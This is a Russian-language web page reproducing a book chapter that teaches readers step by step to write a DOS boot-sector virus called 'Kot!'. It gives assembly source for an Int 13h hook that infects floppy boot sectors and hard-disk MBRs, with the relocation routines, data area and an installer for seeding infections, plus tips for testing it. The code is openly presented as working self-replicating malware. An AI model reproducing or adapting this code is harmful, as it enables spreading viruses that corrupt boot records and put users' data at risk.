Заглавная страница Избранные статьи Случайная статья Познавательные статьи Новые добавления Обратная связь FAQ Написать работу КАТЕГОРИИ: АрхеологияБиология Генетика География Информатика История Логика Маркетинг Математика Менеджмент Механика Педагогика Религия Социология Технологии Физика Философия Финансы Химия Экология ТОП 10 на сайте Приготовление дезинфицирующих растворов различной концентрацииТехника нижней прямой подачи мяча. Франко-прусская война (причины и последствия) Организация работы процедурного кабинета Смысловое и механическое запоминание, их место и роль в усвоении знаний Коммуникативные барьеры и пути их преодоления Обработка изделий медицинского назначения многократного применения Образцы текста публицистического стиля Четыре типа изменения баланса Задачи с ответами для Всероссийской олимпиады по праву Мы поможем в написании ваших работ! ЗНАЕТЕ ЛИ ВЫ?
Влияние общества на человека
Приготовление дезинфицирующих растворов различной концентрации Практические работы по географии для 6 класса Организация работы процедурного кабинета Изменения в неживой природе осенью Уборка процедурного кабинета Сольфеджио. Все правила по сольфеджио Балочные системы. Определение реакций опор и моментов защемления |
Пишем обработчик прерывания Int 13hСодержание книги
Поиск на нашем сайте
Наконец все подготовительные действия завершены, и мы можем заняться разработкой вирусного обработчика прерывания Int 13h. Именно этот обработчик должен отслеживать операции с гибкими дисками и при необходимости заражать их. Начнем с выяснения условий, при которых вирус должен будет заразить BOOT - сектор дискеты. Пусть заражение будет выполняться в том случае, если происходит чтение любого сектора нулевой дорожки нулевой стороны, кроме первого. Исходя из этого, можно записать: ;Далее следует;вирусный обра-;ботчик Int 13h to_new_13h equ $ - my_prg;; new_13h: pushf;Сохраним флаги cmp dl,01h;Операция с дис-;ководом " A ";или " B "? ja cs:to_sys_13h;Нет! cmp ah,02h;Чтение? jne cs:to_sys_13h;Нет! cmp ch,00h;Дорожка " 0 "? jne cs:to_sys_13h;Нет! cmp cl,01h;Сектор-первый? je cs:to_sys_13h;Да! call cs:boot_infect;Вызовем проце-;дуру заражения;BOOT - секторов;дискет to_sys_13h:; popf;Восстановим;флаги db 0eah;Перейдем к сис- old_13h dw 0;темному обра- old_13h_2 dw 0;ботчику Int 13hОбратите внимание, что при чтении секторов 2...N нулевой дорожки нулевой стороны дискеты управление передается процедуре " boot_infect ", которая занимается заражением гибких дисков. Если бы заражение происходило при чтении любого сектора, то на зараженной машине все операции с дисководом выполнялись бы раздражающе медленно. Для передачи управления системному обработчику Int 13h используется обычная команда далекого перехода, записанная в виде машинной инструкции. Теперь разработаем процедуру " boot_infect ", заражающую дискеты. Естественно сделать ее по аналогии с фрагментом, который " работает " с винчестером. Поэтому: boot_infect proc; push ax;Сохраним реги- push bx;стры в стеке push cx;прерванного push dx;процесса push di; push ds; push es; pushf;; push cs;ES = CS pop es;; push cs;DS = CS pop ds;; mov cx,3;Попробуем про- next_read: push cx;честь BOOT -;сектор дискеты. call cs:read_mbr;На это даем три pop cx;попытки (напри- jnc cs:inf_check;мер,если двига-;тель дисковода;не успел разо-;гнаться до ра-;бочей скорости,;то BIOS вернет;ошибку -дискета;сменена!) xor ah,ah;При ошибке - pushf;сбросим текущий call dword ptr old_13h - 100h;дисковод jc cs:to_jump;и повторим loop cs:next_read;чтение to_jump: jmp cs:restore_regs;;BOOT - сектор;заражен? inf_check: cmp byte ptr ds:[455h],33h je cs:to_jump;Да! cmp word ptr ds:[40bh],200h;512 байт в;секторе? jne cs:to_jump;Нет!; mov dl_save - 100h,dl mov ch,79;Определим mov dh,byte ptr ds:[415h] cmp dh,0f0h;параметры je cs:real_80;дискеты cmp dh,0f9h;по ее je cs:real_80;Media cmp dh,0fdh;Descryptor jne cs:to_jump; mov ch,39; real_80: mov dh,01h; mov cl,byte ptr ds:[418h];Перепишем нас-;тоящий BOOT в;последний сек-;тор последней;дорожки на пос-;ледней стороне xor dl,dl; call cs:write_mbr_last; jc cs:to_jump;; mov additor - 100h,055h;Сформируем код, xor di,di;который нужно mov cx,prg_lenght;записать на copy_vir: mov al,byte ptr ds:[di];дискету вместо mov byte ptr ds:[di + 455h],al;исходной BOOT - inc di;записи loop cs:copy_vir; mov word ptr ds:[400h],053ebh;; xor dh,dh;И запишем его call cs:write_mbr;в первый;сектор нулевой;дорожки нулевой;стороны дискеты; restore_regs:;Восстановим из popf;стека регистры pop es; pop ds; pop di; pop dx; pop cx; pop bx; pop ax; ret;Выйдем из про-;цедуры boot_infect endp;Как вы успели заметить, текст процедуры очень похож на текст фрагмента, который будет заражать жесткий диск. Небольшие отличия связаны со спецификой работы дисковода и винчестера. Дело в том, что жесткий диск вращается непрерывно (за исключением некоторых новых систем с режимом экономии электроэнергии), а двигатель дисковода запускается только при закрытии его флажка (если быть точным, это зависит от конструкции дисковода.) Поэтому, если двигатель дисковода к моменту выполнения операции чтения не набрал необходимую скорость, BIOS вернет ошибку и сообщит, что дискета сменена. В этом случае рекомендуется повторить чтение, предварительно сбросив накопитель. Наш вирус повторяет попытку чтения три раза, после чего в случае неудачи отказывается от заражения такого диска. Несколько раньше мы выяснили, что для разных версий MS DOS и WINDOWS программа начальной загрузки в BOOT - секторе дискеты располагается по разным смещениям. Сделано это по той причине, что старшие версии операционной системы хранят в загрузочном секторе более подробные сведения о диске. Наибольшим смещением,с которым вы когда - либо можете встретиться, является 0055h. Поэтому наш вирус будет помещать в BOOT - сектор свой код, ориентируясь именно на приведенное значение. Тогда в первые два байта сектора должна быть записана команда перехода на начало этого кода, а именно: " EB 53 ". Формат BOOT - сектора приведен в ПРИЛОЖЕНИИ 2. И последнее - вирус определяет параметры заражаемой дискеты исходя из ее Media Descryptor. Сам Descryptor содержится в BOOT - секторе любой дискеты и вместе с некоторыми другими параметрами однозначно задает ее тип. Интерпретация различных дескрипторов приведена в конце ПРИЛОЖЕНИЯ 2. Используемые процедуры Фактически вирус уже изготовлен. Осталось лишь привести тексты процедур, которые он будет использовать в своей работе: read_mbr proc; xor dh,dh; mov ax,0201h;Процедура mov bx,400h;читает первый mov cx,01h;сектор нулевой pushf;дорожки нулевой call dword ptr old_13h - 100h;стороны указан- ret;ного накопителя read_mbr endp;; write_mbr proc; mov ax,0301h;Процедура mov cx,01h;помещает вирус- pushf;ный код в BOOT- call dword ptr old_13h - 100h;сектор дискеты ret;или записывает write_mbr endp;его вместо MBR;винчестера; write_mbr_last proc;Процедура;переписывает;исходную BOOT-;запись или MBR mov num_head - 100h,dx;в заданный mov cyl_sect - 100h,cx;сектор mov dl,dl_save - 100h;заражаемого;диска mov ax,0301h; pushf; call dword ptr old_13h - 100h; ret; write_mbr_last endp;Процедуры построены очень просто, и объяснять их работу, скорее всего, нет смысла. Отметим только, что все вызовы Int 13h оформлены в виде вызова дальней процедуры. Это необходимо для предотвращения потенциальных " глюков ", связанных с нереентерабельностью программ, выполняющих обработку Int 13h. Хотя такой метод несколько увеличивает размер вирусного кода. Область данных вируса В отличие от предыдущих программ, область данных написанного нами загрузочного вируса имеет на удивление простую структуру: ; db 'Kot!';Название вируса dl_save db 0;Ячейка для вре-;менного хране-;ния регистра DL;(он задает;номер накопите-;ля) num_head dw 0;Здесь вирус cyl_sect dw 0;хранит номер;головки,дорожки;и сектора зара-;женного диска,;на которых за-;писана настоя-;щая загрузочная;запись vvv dw 004ch;Смещение к век-;тору Int 13h;Длина вирусного;кода: prg_lenght equ $ - my_prgВы можете спросить, почему для имени вируса отведено всего четыре байта. Дело в том,что наш вирус получился довольно большим (421 байт - можете проверить!). Несколько раньше мы выяснили, что этот размер не может быть больше, чем 425 байт. А 425 - 421 как раз равно четырем... Пишем секцию инсталляции Очевидно, в таком виде, в каком сейчас существует наш вирус, его довольно трудно внедрить в систему. Поэтому для облегчения этой "вредительской" операции напишем специальный инсталлятор. Его функция состоит в следующем: при старте запускающей программы из командной строки или из - под оболочки заразить диск в дисководе " A ".Причем диск совсем не обязательно должен быть загрузочным. Далее с этого диска нужно загрузиться на той машине, которую требуется заразить. При этом вирус заразит MBR ее жесткого диска. Теперь, после загрузки с винчестера, вирус будет инфицировать все читаемые на зараженной машине дискеты и начнет распространяться. Исходя из сказанного выше, можно предложить такое решение: installer: lea si,my_prg;Подменим коман- mov byte ptr [si],33h;ду перехода на mov byte ptr [si + 1],0c0h;первые три бай- mov byte ptr [si + 2],8eh;та кода вируса;Попробуем про-;честь BOOT -;сектор дискеты. mov ax,0201h; mov cx,01h; xor dx,dx; lea bx,bufer; int 13h; jc error;; push es;Получим пара- mov ah,08h;метры дискеты xor dl,dl; int 13h; jnc all_good; cmp ah,01h; jne error; mov dh,01h; mov ch,27h; mov cl,byte ptr bufer [18h]; all_good: xor dl,dl; mov num_head,dx; mov cyl_sect,cx; pop es;;Перепишем нас-;тоящий BOOT в;последний сек-;тор последней;дорожки на пос-;ледней стороне mov ax,0301h; lea bx,bufer; int 13h; jc error;;Сформируем код,;который нужно;записать на;дискету вместо;исходной BOOT -;записи mov additor,055h; lea si,bufer + 55h; lea di,my_prg; mov cx,prg_lenght; copy_boot: mov al,byte ptr [di]; mov byte ptr [si],al; inc si; inc di; loop copy_boot; mov word ptr bufer[0],053ebh;;И запишем его;в первый;сектор нулевой;дорожки нулевой;стороны дискеты mov ax,0301h; mov cx,01h; mov dx,0; lea bx,bufer; int 13h; jnc prg_end;; error: mov ah,09h;Если была оши- lea dx,err_mes;бка - выведем int 21h;сообщение о ней; prg_end: mov ax,4c00h;Завершаем за- int 21h;пускающую про-;грамму err_mes db 'Error!$';Сообщение bufer db 512 dup (0);В этот буфер;считывается;BOOT - сектор;заражаемой;дискеты prg ends; end my_prg;Если вирусу не удалось заразить диск, то выдается сообщение "ERROR!". В этом случае попытку заражения просто нужно повторить. И еще - если вы хотите узнать, зачем понадобились первые четыре команды инсталлятора, вам следует посмотреть приводимый ниже полный текст вирусной программы. Обратите внимание на первую команду, а именно: " jmp installer ".Инсталлятор замещает ее кодом, устанавливающим собственный стек вируса, и поэтому в заражаемые сектора эта команда не попадет. Текст загрузочного вируса Ниже представлен текст предлагаемого загрузочного вируса: Скачать boot.asm (18Kb) Комментарии Вирус, который мы разработали в этой главе, заражает BOOT - сектора дискет и MBR жесткого диска. Как вы убедились, написать загрузочный вирус совсем несложно - гораздо легче,чем, скажем, файловый. Тем не менее я настоятельно рекомендую читателям попробовать "поймать" один из существующих загрузочных вирусов и исследовать его работу. Для начинающих можно порекомендовать FORM или KONSTANTIN. Если же вы достаточно опытный вирусолог, то можете помериться силами с ONEHALF или другим шифрованным вирусом. Правда учтите, что экспериментировать с чужими вирусными программами надо осторожно - некоторые из них при трассировке вирусного кода могут испортить "винчестер" вашего компьютера. Испытание вируса Для проверки в действии загрузочного вируса достаточно загрузиться с зараженного магнитного диска. Понаблюдайте, как вирус заражает дискеты и в каких случаях. Попробуйте найти в памяти вирусный код, а найдя - пройдите его отладчиком. Перед проведением экспериментов с предложенной программой обязательно скопируйте оригинальную MBR жесткого диска в отдельный файл на дискете. Если этого не сделать, вы рискуете потерять данные на винчестере. Все проверки вирусной программы рекомендуется проводить с помощью программы DISKEDIT, желательно одной из последних версий. С помощью этой же программы можно " вылечить " зараженный диск, если вирус вам "надоест".
|
||||
Последнее изменение этой страницы: 2016-07-16; просмотров: 318; Нарушение авторского права страницы; Мы поможем в написании вашей работы! infopedia.su Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. Обратная связь - 18.118.252.215 (0.007 с.) |